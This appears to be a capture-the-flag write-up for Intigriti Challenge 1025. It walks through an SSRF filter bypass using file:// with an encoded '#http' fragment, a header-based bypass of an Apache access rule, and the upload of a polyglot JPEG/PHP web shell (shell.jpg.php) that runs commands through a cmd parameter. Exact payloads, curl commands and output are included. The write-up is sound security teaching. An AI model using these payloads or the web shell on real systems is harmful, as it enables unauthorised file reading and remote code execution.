Intigriti Challenge 1025 Writeup: From SSRF to RCE

From: @kjcao

Challenge Overview

This challenge presented a web application with an SSRF vulnerability. We could exploit this to read a local file containing the flag. However, the challenge had a deeper layer: we could achieve RCE through a hidden upload script.

Initial Reconnaissance and SSRF Exploitation

We are given the endpoint /challenge.php which accepts a URL via the url parameter and would fetch and display the contents of that URL.

We try to read a file on the server using the file:// protocol but it doesn't work. The webpage tells us that the URL must contain the string "http" in the URL.

We can bypass this check by including the string "http" in a non-significant part of the URL, such as the fragment identifier (the part after the #). We need to percent encode "#" as %23 otherwise the browser interprets the fragment identifier rather than the server. We test our payload:

Webpage

And we can read files! In fact, by supplying a directory, the server responds with a list of the directory's contents. In general, the payload looks like this:

https://challenge-1025.intigriti.io/challenge.php?url=file:///<FILE_PATH_HERE>%23http

This URL instructs the server to read from the local filesystem (file:///) and the %23http (percent encoded for #http) satisfies the string check without interfering with the file protocol. Using the payload, we obtain a listing of the root directory. The server's response reveals all top-level directories and, importantly, a text file:

lib64
srv
home
var
bin
usr
etc
media
boot
run
opt
dev
lib
sbin
mnt
tmp
sys
proc
root
93e892fe-c0af-44a1-9308-5a58548abd98.txt

Now, we can simply use our payload again to read this file directly. Final payload for the flag:

https://challenge-1025.intigriti.io/challenge.php?url=file:///93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http

The server's response contained the flag:
INTIGRITI{ngks896sdjvsjnv6383utbgn}

Escalation to Remote Code Execution (RCE)

The challenge hinted at a more significant vulnerability. Next, we will achieve RCE on the server. Using the same SSRF technique, we list the contents of the web root /var/www/html/:

1
2
3
4
5
6
uploads
partials
upload_shoppix_images.php
index.php
challenge.php
public

The file upload_shoppix_images.php was immediately interesting, as upload functionality is a common vector for RCE. Let's take a look at the source code of upload_shoppix_images.php:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $file = $_FILES['image'];
    $filename = $file['name'];
    $tmp = $file['tmp_name'];
    $mime = mime_content_type($tmp);

    if (
        strpos($mime, "image/") === 0 &&
        (stripos($filename, ".png") !== false ||
         stripos($filename, ".jpg") !== false ||
         stripos($filename, ".jpeg") !== false)
    ) {
        move_uploaded_file($tmp, "uploads/" . basename($filename));
        echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>";
    } else {
        echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
    }
}
?>

The script validates two things:

  1. The file's MIME type (using mime_content_type) must start with image/.
  2. The filename must contain .png, .jpg, or .jpeg.

If both checks pass, the file is moved to the uploads/ directory.

Unfortunately, when we try to directly access upload_shoppix_images.php it returns a 403 Forbidden error. I tried to see if there was an .htaccess file, but there wasn't. Further investigation of the Apache configuration (/etc/apache2/sites-enabled/000-default.conf) via SSRF revealed the reason:

1
2
3
4
5
6
<Files "upload_shoppix_images.php">
    <If "%{HTTP:is-shoppix-admin} != 'true'">
        Require all denied
    </If>
    Require all granted
</Files>

Access to the upload script is restricted to requests that contain a custom HTTP header: is-shoppix-admin: true. We can upload files now, so let's create a malicious file that starts with a JPEG signature but contains PHP code.

echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.jpg.php

Now, we upload the malicious file:

1
2
3
curl "https://challenge-1025.intigriti.io/upload_shoppix_images.php" \
     -F "[email protected]" \
     -H "is-shoppix-admin: true"

The server responded successfully, confirming the file was uploaded to /uploads/shell.jpg.php. From here, we can run arbitrary commands, e.g.

1
2
3
4
$ curl https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=id
����<br />
<b>Warning</b>:  Undefined array key "args" in <b>/var/www/html/uploads/shell.jpg.php</b> on line <b>3</b><br />
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Yay!

Conclusion

In conclusion, this is what we did:

  1. A simple string check was bypassed to read arbitrary files.
  2. This was used to leak source code & config files.
  3. An Apache directive was identified and bypassed with a custom header.
  4. Lax filename and MIME type validation allowed a malicious PHP file to be uploaded and executed, leading to RCE.
Edit

Pub: 09 Oct 2025 15:10 UTC

Edit: 09 Oct 2025 15:16 UTC

Views: 10